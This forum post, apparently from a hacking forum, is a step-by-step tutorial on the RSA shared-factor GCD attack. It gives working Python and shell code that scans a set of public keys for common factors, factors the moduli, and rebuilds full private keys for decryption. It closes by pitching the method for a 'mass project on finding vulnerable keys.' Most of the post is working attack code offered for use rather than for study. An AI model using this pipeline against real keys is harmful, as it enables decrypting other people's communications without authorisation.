Tutorial RSA GCD attack

VBQL · 10-16-2017, 03:17 AM

https://eprint.iacr.org/2012/064.pdf

1. Find a GCD collision between two public keys using some python to test for GCD collisions, I will be providing an example.

Code:
import subprocess
import sys
sys.setrecursionlimit(50000)

def gcd(a, b):
    if b == 0:
        return a
    else:
        return gcd(b, a % b)

def filterLarger(a, b):
    if a > b:
        return gcd(a,b)
    else:
        return gcd(b,a)

def hexToDec(a, b):
    return gcd(int(a,16),int(b,16))

def getMod(index):
    #Input the correct path to the modulusFetcher.sh bash script
    s = subprocess.Popen(["/PATH/TO/modulusFetcher.sh", str(index)], stdout=subprocess.PIPE)
    output,err = s.communicate()
    return str(output)[2:-1]

for modPrimary in range(0,100):
    for modSecondary in range(modPrimary+1,100):
        print("Testing:",modPrimary,modSecondary)
        if hexToDec(getMod(modPrimary),getMod(modSecondary)) != 1:
            print("GCD Collision!")

Here is the modulesFetcher I had to make my life easier.

Code:
cat /PATH/TO/DIRECTORY/CONTAINING/PUBLIC/KEYS/$1.pem | openssl rsa -pubin -inform PEM -text -noout | sed '1,/Modulus:/d' | sed '/Exponent:/d' | tr -d ':' | tr -d ' ' | tr -d '\n'

2. Factor the modulus using the GCD collision. Simply divide the modulus by the GCD (you will need to do this using python or something supporting arbitrary precision math). This quotient and the GCD are the two prime factors that make up the RSA modulus (called "p" and "q")

3. Create an openssl compatible PEM private key. You will need to calculate the numbers p, q, e, n, d, dP, dQ, and qInv. These values can be calculated by using python again, here is an example code:

Code:
import sys
import fractions
import functools
import math
sys.setrecursionlimit(1000000)

def gcd(*numbers):
	from fractions import gcd
	return functools.reduce(gcd, numbers)

def lcm(*numbers):
	def lcm(a, b):
		return (a * b) // gcd(a, b)
	return functools.reduce(lcm, numbers, 1)

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, x, y = egcd(b % a, a)
        return (g, y - (b // a) * x, x)

def mulinv(b, n):
    g, x, _ = egcd(b, n)
    if g == 1:
        return x % n


#To get RSA private key numbers, input p, q and e here (in decimal)
e=[e value]
q=[q value]
p=[p value]

#Calculate numbers for an RSA private key using p, q, and e
n=p*q
totient=lcm(p-1,q-1)
d=mulinv(e,totient)
dp=d%(p-1)
dq=d%(q-1)
qinv=mulinv(q,p)

#Print results
print("n="+str(n))
print("e="+str(e))
print("d="+str(d))
print("p="+str(p))
print("q="+str(q))
print("dP="+str(dp))
print("dQ="+str(dq))
print("qInv="+str(qinv))

--To create the private key, see (clearnet): https://stackoverflow.com/questions/1985...l#19855935

--For more infomation about the Chinese remainder theorem and the (strange) values dP, dQ, and qInv, see (clearnet): https://www.di-mgt.com.au/crt_rsa.html

4. You can now use tools like oaep padding and openssl to decrypt. These kind of attacks cannot be targeted since you cannot guarantee a GCD collision if your target uses correct key generation practices, but it's nice to know when you are planning a mass project on finding vulnerable keys.

Tutorial RSA GCD attack
Author Message